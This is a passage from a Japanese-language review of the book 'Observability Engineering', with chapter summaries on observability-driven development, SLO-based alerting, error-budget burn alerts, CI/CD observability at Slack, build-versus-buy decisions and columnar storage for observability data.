導入を始める際は、すでにうまく機能している部分ではなく、最も大きな痛みのポイントを解決することに注力すべきです。また、導入のプロセス全体を通して、素早く動き、高い価値とROIを示し、反復的に作業に取り組む姿勢を忘れないようにしましょう。 組織のあらゆる部分を巻き込む機会を見つけ、最後の大きなプッシュで導入プロジェクトをゴールまで持っていくことを忘れてはいけません。本章のヒントは、オブザーバビリティの導入に必要な作業を完了させるのに役立ちます。その作業が完了すれば、オブザーバビリティを日常的に使用することで、新しい働き方を実現できるようになります。私自身、SREとしてオブザーバビリティの導入に携わった経験から、著者の提言の多くに共感しました。特に、最も大きな痛みのポイントから始めることの重要性は、身をもって実感しています。モニタリングでは捉えきれなかった複雑な問題を、オブザーバビリティを用いて解決できた時の喜びは忘れられません。また、既存の取り組みを活用することも、チームのオブザーバビリティ採用を促進する上で非常に有効でした。馴染みのあるダッシュボードをオブザーバビリティツールで再現したり、既存のログデータをトレースイベントとして送信したりすることで、エンジニアはオブザーバビリティの価値をより早く実感できるようになりました。一方で、著者が指摘するように、実装を最後までやり遂げることの難しさも痛感しました。日々の運用に追われる中で、インストルメンテーションを完成させる作業は後回しになりがちです。そこで、私たちは定期的な「オブザーバビリティ・ハッカソン」を開催し、全エンジニアでインストルメンテーションの完成度を高める取り組みを行いました。これにより、オブザーバビリティが私たちのデバッグの第一選択肢になったのです。Chapter 11. Observability-Driven Development「Chapter 11. Observability-Driven Development」は、オブザーバビリティの実践をソフトウェア開発のライフサイクルの早い段階から取り入れることの重要性を説いた章です。本書は、テスト駆動開発(TDD)の限界を指摘し、オブザーバビリティ駆動開発がいかにソフトウェアの品質と開発速度の向上に寄与するかを詳細に解説しています。テスト駆動開発とその限界本書は、まずTDDの特徴と限界について説明しています。TDDは、ソフトウェアを本番環境にリリースする前にテストするための、業界のゴールドスタンダードです。TDDは、アプリケーションを決定論的な一連の反復可能なテストで定義することで、ソフトウェアの操作性について明確に考える方法を提供します。しかし、本書は、TDDの一貫性と孤立性が、本番環境でのソフトウェアの振る舞いについての洞察を制限してしまうと指摘しています。 孤立したテストに合格することは、顧客がそのサービスを良好に体験していることを意味するわけではありません。また、本番環境にコードを再リリースする前にエラーや回帰を迅速かつ直接的に特定し、修正できることを意味するわけでもありません。テスト駆動開発作者:KentBeckオーム社Amazon開発サイクルにおけるオブザーバビリティ本書は、オブザーバビリティがソフトウェア開発チームのバグ発見能力を高めることで、より良いコードの作成と出荷を可能にすると主張しています。バグを迅速に解決するためには、オリジナルの意図がまだ作者の頭にある間に問題を調査することが重要です。 バグが誤って出荷されてから、そのバグを含むコードが問題ないか調べるまでの時間が長ければ長いほど、多くの人の時間が無駄になってしまいます。また、本書は、オブザーバビリティとコードのデバッグ場所の特定方法についても説明しています。オブザーバビリティは、コードそのものをデバッグするためのものではなく、デバッグすべきコードを見つけるためのシステム内の場所を特定するためのものです。 オブザーバビリティツールは、問題が発生している可能性のある場所をすばやく絞り込むのに役立ちます。マイクロサービス時代のデバッグマイクロサービスの台頭は、オブザーバビリティの台頭と密接に関連しています。モノリスがマイクロサービスに分解されると、デバッガーはネットワークをまたぐことができなくなるため、うまく機能しなくなります。マイクロサービスでは、サービスリクエストがネットワークを横断して機能を実現するため、あらゆる種類の運用上、アーキテクチャ上、インフラストラクチャ上の複雑さが、意図せずに出荷したロジックのバグと不可分に絡み合うようになったのです。 オブザーバビリティがなければ、パフォーマンスグラフがすべて同時にスパイクしたりディップしたりしているだけで、問題の本質が見えなくなってしまいます。インストルメンテーションがオブザーバビリティを促進する仕組み本書は、オブザーバビリティを実現するための必要条件が、有用なインストルメンテーションの作成であると述べています。優れたインストルメンテーションは、オブザーバビリティを促進します。具体的には、コードをデプロイしてエラーの結果を感じるまでのループを短くするような、強化メカニズムとフィードバックループを作成することを目標にすべきだと提案しています。例えば、コードをマージした人に、一定期間、本番環境でアラートが発生した場合にそのアラートを送るようにすることです。エンジニアは、デプロイ後すぐに以下の質問に答えられるように、自分のコードをinstrument化することが求められます。コードは期待通りに動作しているか?以前のバージョンと比べてどうか?ユーザーは積極的にコードを使用しているか?異常な条件は発生していないか?オブザーバビリティの左シフト本書は、オブザーバビリティ駆動開発が、ソフトウェアが本番環境の乱雑な現実の中でどのように機能するかを保証すると述べています。TDDが孤立した仕様への準拠を保証する一方で、オブザーバビリティ駆動開発は、変動するワークロードを経験し、特定のユーザーが予測不可能なことを行っている、ある時点での複雑なインフラストラクチャ上に分散されたソフトウェアが機能することを保証します。開発ライフサイクルの早い段階でインストルメンテーションをソフトウェアに組み込むことで、エンジニアは小さな変更が本番環境で実際にどのような影響を与えるかをより容易に考慮し、より迅速に確認できるようになります。従来のモニタリングアプローチでは、複雑なモダンなソフトウェアシステムで何が起こっているのかを正確に推論する能力がほとんどありません。その結果、チームは本番環境をガラスの城のように扱い、その城を乱すことを恐れるようになってしまうのです。オブザーバビリティ駆動開発により、エンジニアリングチームはガラスの城を対話型の遊び場に変えることができます。 ソフトウェアエンジニアは、オブザーバビリティを自らの開発プラクティスに取り入れ、本番環境への変更を恐れるサイクルを解きほぐす必要があります。オブザーバビリティを用いたソフトウェア開発の高速化本書は、ソフトウェアエンジニアが新機能と一緒にテレメトリを束ねることで、コミットからエンドユーザーへの機能リリースまでの時間を短縮できると述べています。ソフトウェア業界では、速度と品質の間にはトレードオフがあるという認識が一般的ですが、著書「Accelerate」では、このような逆の関係は神話であることが明らかにされました。エリートパフォーマーにとって、速度と品質は連動して向上し、互いに強化し合うのです。エンジニアリングチームの健全性と有効性を示す重要な指標は、コードが書かれてから本番環境に導入されるまでの経過時間で捉えられます。 すべてのチームがこの指標を追跡し、改善に努めるべきです。オブザーバビリティ駆動開発は、機能フラグと段階的デリバリーパターンと組み合わせることで、エンジニアリングチームに、新機能のリリース中に問題が発生した際に本当に何が起きているのかを調査するためのツールを提供できます。オブザーバビリティ駆動開発の重要性本章の結論として、オブザーバビリティがソフトウェア開発ライフサイクルの早い段階で使用されるべきであると強調しています。テスト駆動開発は、コードが定義された仕様に対してどのように動作するかを検証するのに役立ちますが、オブザーバビリティ駆動開発は、コードが本番環境の混沌とした世界でどのように振る舞うかを検証するのに役立ちます。ソフトウェアエンジニアにとって、本番環境の実際の動作を理解できないことは、本番環境をガラスの城のように扱う考え方を生んできました。新機能がリリースされる際の振る舞いを適切に観察することで、本番環境をエンドユーザーがソフトウェアを体験する対話型の遊び場へと変えることができるのです。オブザーバビリティ駆動開発は、高いパフォーマンスを発揮するソフトウェアエンジニアリングチームを実現するために不可欠です。 オブザーバビリティをSREやインフラエンジニア、運用チームだけのものと考えるのではなく、すべてのソフトウェアエンジニアが自らのプラクティスの重要な部分としてオブザーバビリティを取り入れるべきなのです。本章を読んで、私はオブザーバビリティ駆動開発の重要性を再認識しました。特に、本番環境の振る舞いを適切に観察することで、ソフトウェアエンジニアのマインドセットを変革できるという点に共感しました。Chapter 12. Using Service-Level Objectives for Reliability「Chapter 12. Using Service-Level Objectives for Reliability」は、サービスレベル目標(SLO)を用いたアラート戦略が、従来の閾値ベースのモニタリングアプローチよりも効果的であることを示した章です。本章は、SLOとオブザーバビリティを組み合わせることで、システムの信頼性を向上させる方法を提案しています。従来のモニタリングアプローチがもたらすアラート疲労本書は、まず従来のモニタリングアプローチの問題点を指摘しています。従来のアプローチでは、測定が容易なシステムの状態を単純なメトリクスで追跡し、それに基づいてアラートを発生させます。しかし、これらのアラートは、false positiveを大量に生み出し、意味のある行動につながりません。その結果、エンジニアリングチームは、信頼性の低いアラートを無視したり、抑制したりするようになります。 これは「逸脱の正常化(normalization of deviance)」と呼ばれる危険な状態です。アラートが「正常」とみなされ、無視されるようになると、重大な見落としにつながる可能性があるのです。また、従来のモニタリングアプローチは、既知の障害モードにのみ対応できます(known-unknowns)。しかし、分散システムでは、予測不可能な障害モードが発生し、ユーザーエクスペリエンスに影響を与える可能性があります。従来のシステムメトリクスでは、このような予期せぬ障害モードを見逃してしまうのです。ユーザーエクスペリエンスを指標とする本書は、アラートの設定において、ユーザーエクスペリエンスに焦点を当てることの重要性を説いています。従来のアプローチでは、システムエンジニアが任意の定数を選択し、ユーザーエクスペリエンスが悪化する時点を予測する必要がありました。しかし、システムのパフォーマンスは、ユーザーの行動によって大きく変動するため、静的な閾値では対応できません。信頼性の高いアラートには、より細かい粒度と信頼性が必要です。 そこで役立つのがSLOです。SLOは、システムメトリクスではなく、重要なユーザージャーニーに基づいてサービスの可用性の目標値を定量化します。この目標値は、サービスレベルインジケーター(SLI)を使って測定されます。サービスレベル目標とは何か?本書は、SLOの概要を説明し、その重要性を強調しています。SLOは、サービスの健全性を測定するための内部目標です。SLOは、サービスプロバイダーと顧客の間のサービスレベルアグリーメントの重要な部分であり、外部に向けた可用性のコミットメントよりも厳しい基準を設定します。SLOは、ユーザーエクスペリエンスに影響を与える症状にのみ焦点を当てることで、アラートの範囲を狭めます。何かがユーザーの体験に影響を与えている場合、アラートが発生し、誰かがなぜそうなっているのかを調査する必要があります。 しかし、SLOベースのアラートは、サービスがどのように低下しているかを示すものではありません。単に何かがおかしいことを知らせるだけなのです。SLOベースのアラートへの文化の変革:ケーススタディ本書は、Honeycombでの実際の事例を紹介し、SLOベースのアラートへの文化の変革について説明しています。Honeycombでは当初、SLOを実装していたものの、チームはまだ完全には信頼していませんでした。SLOアラートは低優先度の受信箱に送られ、チームは従来のモニタリングアラートに依存し続けていたのです。しかし、あるインシデントで、SLOベースのアラートが従来のアラートよりもはるかに早く問題を検出したことで、状況は変わりました。メモリリークによるクラッシュが発生していましたが、従来のモニタリングでは検出されませんでした。 一方、SLOは嘘をつきませんでした。SLOエラーバジェットはインシデントの開始時からほぼ完全に消費され、ユーザーへの影響が明らかになったようでした。このインシデントがチームの文化を変えました。 SLOベースのアラートの価値が証明されたことで、エンジニアリングチームはSLOベースのアラートを従来のアラートと同等に尊重するようになりました。しばらくしてSLOベースのアラートに頼るようになると、チームはSLOデータのみに基づいてアラートを出すことに徐々に慣れていったのです。SLOとオブザーバビリティによる信頼性の向上本章の結論として、SLOが従来の閾値ベースのモニタリングよりも効果的なアラート戦略であることを強調しています。アラート疲労は、従来のモニタリングソリューションが取る潜在的な原因ベースのアプローチによって引き起こされています。 アラート疲労は、役立つアラートのみを作成することで解決できます。役立つアラートとは、サービスのユーザーエクスペリエンスが低下した状態にあることを確実に示し、かつ実行可能でなければなりません。SLOは、インシデントアラートの背後にある「何が」と「なぜ」を切り離します。 痛みの症状ベースのアラートに焦点を当てることで、SLOは顧客体験の信頼できる指標となります。SLOがイベントベースの指標に基づいている場合、誤検知と見逃しが大幅に減少します。したがって、SLOベースのアラートは、アラートをより実行可能で、タイムリーなものにする生産的な方法となるのです。しかし、SLOベースのアラートだけでは、痛みがあることは分かっても、なぜそうなっているのかは分かりません。SLOベースのアラートを実行可能なものにするには、本番システムが十分にデバッグ可能でなければなりません。 システムにオブザーバビリティを持たせることが、SLOを使う上で非常に重要なのです。Chapter 13. Acting on and Debugging SLO-Based Alerts「Chapter 13. Acting on and Debugging SLO-Based Alerts」は、SLOベースのアラートを使用する際のエラーバジェットの役割と、アラートをトリガーするためのメカニズムについて詳細に解説した章です。本書は、エラーバジェットの枯渇を予測するための様々な予測手法を紹介し、組織のニーズに最適な手法を選択するための考慮事項を示しています。また、サービスレベル目標(SLO)の実装について解説した「Implementing Service Level Objectives」も参考になります。この書籍は、SLOベースのアプローチによる信頼性を実現するための文化とツールを構築する際の入門書およびデイリーリファレンスとして役立ちます。高度なSLOおよびサービスレベル指標(SLI)の技術について詳細な分析を提供し、数学的モデルと統計学の知識を武器に、ユーザーの視点から信頼性を意味のある形でSLIとして測定可能なシステムを構築する方法を学ぶことができます。learning.oreilly.comエラーバジェットが空になる前にアラートする本章は、まずエラーバジェットの概念について説明しています。エラーバジェットは、ビジネスが許容できるシステムの最大の利用不可時間を表します。例えば、SLOが99.9%の成功率を確保することであれば、1年間で8時間45分57秒(または1ヶ月で43分50秒)以上のダウンタイムは許容されません。SLOに違反する前にアプリケーションやシステムの問題を認識し、解決するためには、エラーバジェットが完全に消費される前に予測的なバーンアラートが必要です。バーンアラートは、現在のバーン率が継続した場合にエラーバジェットが枯渇する時期を予測し、早期警告を提供します。時間をスライディングウィンドウとして捉える本書は、SLOの分析にあたって、固定ウィンドウとスライディングウィンドウのどちらを使用するかを選択する必要があると述べています。固定ウィンドウは、例えば月の1日から30日までのように、カレンダーに従います。一方、スライディングウィンドウは、直近の30日間のように、移動する期間を見ます。Figure 13-2. A rolling three-day window (left) and a three-day resetting window (right) より引用本書は、ほとんどのSLOにとって、30日のスライディングウィンドウが最も実用的な期間だと述べています。固定ウィンドウは顧客の期待に合わないため、より滑らかな体験を提供するスライディングウィンドウを使用すべきだと主張しています。予測的バーンアラートを作成するための予測本書は、予測的バーンアラートをトリガーするための2つのモデルを紹介しています。1つ目は、ゼロ以外の閾値を選択し、残りのエラーバジェットがその閾値を下回ったときにアラートをトリガーする方法です。Figure 13-3. In this model, an alert triggers when the remaining error budget (solid line) dips below the selected threshold (dashed line) より引用2つ目は、現在の状態がエラーバジェット全体を消費する結果になるかどうかを予測する方法です。この方法では、基準ウィンドウ(ベースラインウィンドウ)と、予測が及ぶ将来の時点を決定する先読みウィンドウ(ルックアヘッドウィンドウ)の2つを考慮する必要があります。Figure 13-4. For predictive burn alerts, you need a baseline window of recent past data to use in your model and a lookahead window that determines how far into the future your forecast extends より引用本書は、基準ウィンドウとして、先読みウィンドウの4分の1の期間を使用することを推奨しています。つまり、4時間後に予算を使い果たすかどうかを予測するには、過去1時間のパフォーマンスデータを使用するのです。バーン率を予測するために、著者は2つのアプローチを紹介しています。短期バーンアラートは、最近の期間の基準データのみを使用して軌跡を外挿します。コンテキスト対応バーンアラートは、過去のパフォーマンスを考慮し、SLOの全体のウィンドウにおける成功イベントと失敗イベントの総数を使用して計算を行います。SLOバーンアラートへの対応本書は、バーンアラートがトリガーされたときの対応についても説明しています。新しい予期せぬ種類のバーンが発生しているのか、それとも緩やかで予想されるバーンなのかを診断する必要があります。本書は、バーンアラートがバースト状態の一部なのか、エラーバジェットのかなりの部分を一度に消費してしまうようなインシデントなのかを評価すべきだと述べています。現在の状況を過去の率と比較することで、その重要性をトリアージするための有益なコンテキストが得られます。SLOのためのオブザーバビリティデータと時系列データ本書は、SLOに時系列データを使用することで、いくつかの複雑さが生じると指摘しています。時系列データの問題は、99.99%以上の可用性目標を持つ厳格なSLOの場合に特に顕著です。このようなSLOでは、エラーバジェットが数分または数秒で枯渇する可能性があります。一方、SLOの計算にイベントデータを使用すると、システムの健全性を評価するためのリクエストレベルの粒度が得られます。モダンな分散システムでは、100%の全体的な障害よりも、部分的な障害の方が一般的です。そのため、イベントベースの計算の方がはるかに有用なのです。本書は、サービスの実際のユーザーエクスペリエンスを追跡するオブザーバビリティデータは、粗く集約された時系列データよりも、システムの状態をより正確に表現していると述べています。アクション可能なアラートのためにどのデータを使用するかを決定する際、オブザーバビリティデータを使用することで、ビジネスが気にかけている全体的な顧客体験に非常に近い条件に焦点を当てることができるのです。SLOとオブザーバビリティデータの組み合わせ本章の結論として、SLOとオブザーバビリティデータを組み合わせることの重要性を強調しています。SLOは、ノイズの多いモニタリングの問題を解決するモダンな形式のモニタリングです。オブザーバビリティに特化しているのは、イベントデータがSLOモデルに追加する力です。 エラーバジェットのバーン率を計算する際、イベントは本番サービスの実際の状態をより正確に評価します。また、SLOが違反の危険にあることを知るだけでは、どのユーザーが影響を受けているのか、どの依存サービスが影響を受けているのか、どのようなユーザー行動の組み合わせがサービスでエラーを引き起こしているのかを判断するための洞察が必ずしも得られるとは限りません。SLOにオブザーバビリティデータを組み合わせることで、バーンバジェットアラートがトリガーされた後、障害がいつ、どこで発生したかを把握できるようになります。オブザーバビリティデータを使用したSLOは、SREアプローチとオブザーバビリティ駆動型開発アプローチの両方の重要なコンポーネントです。失敗したイベントを分析することで、何がうまくいっていないのか、なぜうまくいっていないのかについての豊富で詳細な情報が得られます。それはシステム的な問題と時折の散発的な障害を区別するのに役立ちます。本章を読んで、私はSLOとオブザーバビリティデータの組み合わせの重要性を再認識しました。エラーバジェットのバーン率を予測し、早期にアラートを発するための様々な手法は、SREにとって非常に有益です。また、イベントベースの測定値が、システムの実際の状態をより正確に表現しているという点にも納得しました。私たちのチームでも、SLOの計算にオブザーバビリティデータを活用することで、顧客体験に直結する問題により迅速に対応できるようになりました。皆さんは、SLOとオブザーバビリティをどのように組み合わせていますか?また、エラーバジェットのバーン率を予測するために、どのような手法を用いていますか?ぜひ、経験や考えを共有してください。Chapter 14. Observability and the Software Supply Chain「Chapter 14. Observability and the Software Supply Chain」は、モダンなソフトウェア開発において、オブザーバビリティがいかに重要であるかを示す非常に示唆に富んだ一章でした。著者のFrank Chenは、Slackにおける実際の事例を通して、CI/CDパイプラインにオブザーバビリティを適用することの価値を明確に示しています。ソフトウェアサプライチェーンのセキュリティも重要なトピックであり、「Software Supply Chain Security」(Cassie Crossley著)ではこの分野を包括的に取り上げています。本書は、セキュリティリスクを見渡し、エンドツーエンドのソフトウェアサプライチェーンに組み込む必要のある実践的なコントロールを特定しています。組織がソフトウェア、ファームウェア、ハードウェアのセキュリティ体制を改善するには、サプライチェーンに関わるすべての人が参加する必要があることを実証しており、サプライチェーンの各部分のサイバーセキュリティリスクを特定し、関連する役割を特定し、既存のフレームワークを使ったイニシアティブとコントロールの設計、セキュアな開発ライフサイクルの実践、第三者リスクの評価などについて学ぶことができます。learning.oreilly.comオブザーバビリティがソフトウェアサプライチェーンに不可欠な理由本章の冒頭で、Chenは「ソフトウェアサプライチェーン」という概念について説明しています。それは、「開発から、CI/CDパイプラインを通って、本番環境にデプロイされるまでの、ソフトウェアに影響を与えるすべてのもの」を指します。つまり、コードが書かれてから実際にユーザーに届けられるまでの一連のプロセスを指すのです。Figure 14-1. An example end-to-end workflow for testing the web app より引用Slackでは、早い段階からCIの開発とCDの実践に投資してきました。しかし、急速な成長に伴い、システムの複雑性が増し、境界があいまいになり、限界に達しつつあることに気づきました。テストスイートの実行回数は、一日あたり数千回から数十万回へと爆発的に増加したのです。 この規模になると、適応型キャパシティや、オーバーサブスクリプションなどの戦略でコストとコンピューティングリソースを管理する必要があります。その結果、開発環境でコードをテストしてデプロイするワークフローは、一部の本番サービスよりも複雑になることがありました。インフラストラクチャの種類やランタイムのバージョンの依存関係が予期せず変更され、意図しない障害が発生する可能性があったのです。slack.engineering共有ライブラリとディメンションSlackのオブザーバビリティ導入における主な課題は、複雑さでした。エンドツーエンドテストの失敗は、コードベースの変更、インフラストラクチャの変更、プラットフォームのランタイムなど、複数のコードベースが相互作用した結果である可能性があります。この問題を解決するために、SlackはCI/CDシステムに分散トレーシングを適用しました。トレーシングを多段構成のビルドシステムに適用することで、わずか数時間のうちに複数の課題を解決できたのです。オブザーバビリティを実現するには、有用なインストルメンテーションを作成することが必要条件です。優れたインストルメンテーションは、オブザーバビリティを促進します。具体的には、コードをデプロイしてエラーの結果を感じるまでのループを短くするような、強化メカニズムとフィードバックループを作成することを目標にすべきです。エンジニアは、デプロイ後すぐに以下の質問に答えられるように、自分のコードをインストルメント化することが求められます。コードは期待通りに動作しているか?以前のバージョンと比べてどうか?ユーザーは積極的にコードを使用しているか?異常な条件は発生していないか?サプライチェーンの運用化:ケーススタディChenは、Slackがどのようにトレーシングツールとクエリを使ってソフトウェアサプライチェーンを理解し、アラートにつなげているかを具体的な事例で示しています。コンテキストの理解最初の事例は、フレーキーなテストの問題に対処するために、Slackのチームがどのように協力したかを示しています。2020年、Slackのエンジニアはエンドツーエンドテストのフレーキーさにフラストレーションを感じていました。多くのエンドツーエンドテストスイートでは、平均15%近くのフレーキーさがありました。オブザーバビリティチームとオートメーションチームが協力し、Cypressにいくつかのランタイムパラメータとスパンのトレーシングを追加しました。わずか数日で、フレーキーさと強く相関するディメンションが明らかになったのです。エンジニアはこのデータを使って実験を行い、プラットフォームのデフォルトを改善し、フレーキーな設定に対するガードレールを設置しました。その結果、多くのユーザーでテストスイートのフレーキーさが大幅に減少しました。slack.engineeringアクショナブルなアラートの組み込み次の事例では、Slackがどのようにアラートをエンジニアのワークフローに組み込んでいるかを示しています。オブザーバビリティはSlackのメッセージやダッシュボードを通じて、エンジニアが問題をトリアージするのを助けます。例えば、あるテストスイートの実行時間が増加したことを示すアラートがトリガーされたとします。アラートのリンクをクリックすると、CIサービストレースダッシュボードが表示されます。ここから、問題のあるテストスイートのトレースを確認できます。エンジニアは、レート、エラー、デュレーションを可視化したクエリを使って、Checkpoint内のサービス間の個々のメソッドをグループ化し、問題の原因を特定します。何が変更されたかの理解最後の事例は、2021年8月のインシデントについてです。複数のユーザーがバックエンドのユニットテストとインテグレーションテストでメモリ不足エラー(OOM)によるテスト失敗を報告しました。レスポンダーは、前日のフレーキーさの増加を示すアノマリを発見しました。これをヒントに、過去のテストケーストレースを調べ、メモリ使用量の急増を特定しました。いくつかの疑わしいコミットが特定され、それらを次々とリバートしていきました。専門家は、オブザーバビリティを使ってリアルタイムにシステムの健全性を検証しました。単なるツールではなく、文化でもある本章は、ソフトウェアサプライチェーンにおけるオブザーバビリティの有用性を示しています。Chenは、SlackがCI/CDパイプラインにインストルメンテーションを行い、分散システムのデバッグに役立てた事例を紹介しました。適切なツールとディメンションを用いることで、Slackのエンジニアは、以前は見えなかったCI/CDワークフローの複雑な問題を解決することができました。 アプリケーションが遅い、CIテストがフレーキーだという不満をデバッグする際も、オブザーバビリティは、高度に相互作用する複雑なシステムの問題の相関関係を見つけるのに役立つのです。ソフトウェアが本番環境でどのように動作するかを理解することは、アプリケーション開発者にとって最優先事項です。しかし、本番環境に至る前に、同様に複雑で理解やデバッグが難しい分散システムが存在することを忘れてはいけません。ソフトウェアサプライチェーンにオブザーバビリティを組み込むことは、Slackだけでなく、あらゆるビジネスにとって競争上の優位性となるのです。本章から私が学んだ最も重要な教訓は、オブザーバビリティがソフトウェア開発のあらゆる段階で不可欠だということです。本番環境だけでなく、ソフトウェアがビルド、テスト、デプロイされるプロセス全体を通して、オブザーバビリティを適用することで、より高品質で信頼性の高いソフトウェアを提供できるようになります。また、オブザーバビリティは単なるツールではなく、文化でもあるということを再認識しました。チーム全体で問題の可視性を高め、データに基づいて意思決定を行う文化を育むことが、本当の意味でのオブザーバビリティの実現につながるのです。Part IV. Observability at Scaleこの部ではオブザバビリティが大規模に実践されたときに何が起こるかを検討します。Chapter 15. Build Versus Buy and Return on Investment「Chapter 15. Build Versus Buy and Return on Investment」は、オブザーバビリティソリューションを自社で構築するか、ベンダーから購入するかという選択について、深い洞察を提供してくれる一章でした。本書は、この二者択一の問題を、機会費用や総所有コスト(TCO)など、多角的な視点から分析し、それぞれのアプローチのメリットとデメリットを明らかにしています。オブザーバビリティのROI分析本書は、自社でオブザーバビリティソリューションを構築する際の真のコストについて警鐘を鳴らしています。一見、オープンソースのコンポーネントを使えば、ほとんど費用がかからないように思えるかもしれません。 しかし、実際には、メンテナンスのためのコンテキストスイッチングや、コアビジネスに直接つながらない領域にエンジニアリングリソースを割くことによる機会損失など、目に見えないコストが膨大にかかっているのです。コストについてはこちらがめちゃくちゃに組織毎に正解が違うと思ったのですが良い考察だと思いましたdev.henry.jp一方、ベンダーソリューションを購入する場合、コストは明確です。請求書に明記されているからです。しかし、ここでも落とし穴があります。シートごと、ホストごと、サービスごと、クエリごとなど、予測不可能な指標に基づく価格設定は、将来的なコストを見積もるのが非常に難しいのです。オブザーバビリティツールを本来の目的で使用すると、使用量が爆発的に増加し、生み出す収益に見合わないほどの費用がかかってしまう可能性があります。自社構築のメリットとリスク自社構築の最大のメリットは、組織のニーズに合わせてカスタマイズできることです。長年かけて、自社のシステムに深く根ざした、独自の文化を活かしたソリューションを開発できるのです。しかし、そこにはリスクもあります。本当に自社でベンダーよりも優れたソリューションを開発できるのでしょうか? UIやワークフローの柔軟性、パフォーマンスなど、組織全体での採用を促すために必要な機能を提供できるでしょうか。もしできなければ、多くの時間と費用、そしてビジネスチャンスを失ったあげく、ごく一部のユーザーしか使わないシステムを構築することになりかねません。購入のメリットとリスク購入の最大のメリットは、迅速に価値を得られることです。数分から数時間で始められ、すぐにオブザーバビリティの恩恵を受けられます。しかし、ベンダーロックインのリスクがあります。一度ある商用ソリューションを選択すると、他のソリューションへの移行に多大な時間と労力がかかるのです。 オープンソースのOpenTelemetryを活用することで、このリスクを軽減できます。また、オブザーバビリティの専門知識を社内で育成できないリスクもあります。単に既製のソリューションを利用するだけでは、自社特有のニーズにオブザーバビリティをどう適用すべきか、深く理解できないかもしれません。二者択一ではない本書は、「構築か購入か」は二者択一ではないと強調しています。自社のオブザーバビリティチームが、ベンダーソリューションの上に独自のレイヤーを構築する、という第三の選択肢があるのです。オブザーバビリティチームは、ベンダーと自社のエンジニアリング組織をつなぐ役割を果たします。ライブラリや抽象化を提供し、命名規則を標準化し、コードのインストルメンテーションについてアドバイスします。コアビジネスの価値提供から逸れることなく、独自のニーズを満たすソリューションを構築できるのです。タダより高いものはないオブザーバビリティソリューションの選択において、Total Cost of Ownership(TCO)を十分に考慮すべきです。「タダより高いものはない」という言葉がありますが、オープンソースを使った自社構築には、導入・運用のためのリソース確保、セキュリティ対策、パフォーマンスチューニングなどの見えないコストが付随します。一方、ベンダーソリューションには、ライセンス料の値上げやベンダーロックインによる代替手段の制約など、将来的なコスト高騰のリスクがあります。そこで、オープンソースとベンダーソリューションのハイブリッド活用が有力な選択肢となります。「Observability with Grafana」では、一部有償サービスを提供しつつも、Grafanaをはじめとするオープンソースツールを中核に据えることで、オープンソースのメリットを最大限に活かしながら、ベンダーによるサポートやサービスを組み合わせることができます。Loki, Grafana, Tempo, and Mimir からなるLGTMスタックを学習することができる。learning.oreilly.comしかし、自社構築と購入を組み合わせることで、両者のメリットを享受できます。 拡張性の高いベンダーソリューションの上に、自社のオブザーバビリティチームが独自のレイヤーを構築する。それが、多くの組織にとって最適なアプローチなのです。私自身、SREとしてオブザーバビリティソリューションの選定に関わった経験から、著者の主張に強く共感しました。当初は、オープンソースを組み合わせた自社構築を志向していましたが、メンテナンスの負荷やスケーラビリティの課題に直面し、方針を転換しました。現在は、商用ソリューションをベースに、我々のチームが独自の機能を開発しています。これにより、オブザーバビリティという強力な武器を手に入れつつ、自社のニーズにもきめ細かく対応できるようになったのです。Chapter 16. Efficient Data Storage「Chapter 16. Efficient Data Storage」は、オブザーバビリティデータを効果的に保存・取得するための課題と、その解決策について深く掘り下げた章でした。本書は、オブザーバビリティに必要な機能要件を満たすために、データ層でどのようなトレードオフが必要なのかを丁寧に解説しています。オブザーバビリティのための機能要件本章の冒頭で、著者はオブザーバビリティのための機能要件について説明しています。本番環境で障害が発生したとき、オブザーバビリティデータに対するクエリはできるだけ迅速に結果を返さなければなりません。 数秒以内に結果が返ってこなければ、生産性のあるデバッグ作業はできません。また、イベントは高カーディナリティで高次元のデータを分析できるようにする必要があります。イベントやトレーススパン内のどのフィールドもクエリ可能でなければならず、事前に集計することはできません。 さらに、データの取得パフォーマンスを特定のディメンションに依存させてはいけません。加えて、オブザーバビリティデータは耐久性と信頼性も求められます。クリティカルな調査に必要なデータを失ったり、データストアのコンポーネントの障害によって調査が遅れたりすることは許されないのです。これらの要件は、従来のデータストレージソリューションでは満たすのが難しいものばかりです。特に、大規模なシステムになればなるほど、これらの問題はより顕著になります。時系列データベースの限界本書は、これらの要件を満たすために、時系列データベース(TSDB)が不十分であると指摘しています。TSDBは、同じタグの組み合わせが頻繁に再利用され、新しい組み合わせが稀な場合に、追加のトラフィックのコストを償却することを目的としています。しかし、オブザーバビリティの要件である高カーディナリティと高次元のデータを扱おうとすると、タグの一意な組み合わせごとに新しい時系列が作成され、カーディナリティの爆発を引き起こしてしまうのです。 これは、TSDBの設計思想と根本的に相容れないものなのです。Figure 16-2. The explosion of that same TSDB when a high-cardinality index, userid, is added より引用TSDBは、システムのパフォーマンスを単純な指標に集約することで、送信されるデータ量を削減し、クエリのパフォーマンスを向上させます。しかし、これは後でそのデータから導き出せる答えの数を制限してしまうのです。オブザーバビリティワークロードでは、イベントの事前集約は許容されません。 TSDBは、オブザーバビリティの基本的な構成要素としては限界があるのです。列指向ストレージそこで本書は、行指向ストレージと列指向ストレージのハイブリッドアプローチを提案しています。データをタイムスタンプでパーティショニングし、各セグメント内でデータを列ごとに保存する。 これにより、任意の行と列の部分スキャンを効率的に実行できるようになります。具体的には、Honeycombの独自データストアであるRetrieverの実装を例に、この手法を詳しく解説しています。Retrieverでは、特定のテナントの新しく到着したトレーススパンを、そのテナントの現在アクティブなストレージファイルセット(セグメント)の末尾に挿入します。読み取り時に適切なセグメントをクエリするために、現在のセグメントの最も古いイベントタイムスタンプと最新のイベントタイムスタンプを追跡しているのです。Figure 16-5. Segments selected for querying are those that overlap at least in part with the query window; segments that start and end before or after the query window are excluded from analysis. より引用このセグメントパーティショニングによるタイムスタンプの利点は、個々のイベントを厳密な順序に並べ替える必要がないこと、そして各セグメントの内容が追記専用のアーティファクトになることです。 これにより、書き込み時のオーバーヘッドを大幅に削減できます。各セグメント内では、イベントをフィールドごとに分解し、複数のイベントにまたがる同じフィールドの内容を一緒に保存します。これにより、クエリ時に関連する列のみにアクセスすることができるのです。列指向ストレージは、行指向ストレージと比べて、必要なサブセットのデータのみを素早く調べることができます。一方で、1つの行のデータにアクセスするには、任意の量のデータ(最大でテーブル全体)をスキャンする必要があるかもしれません。Retrieverは、この両者のトレードオフに対処するために、テーブルを手動で粗くシャーディングし、クエリ時にユーザーが適切なシャードを特定して結合する 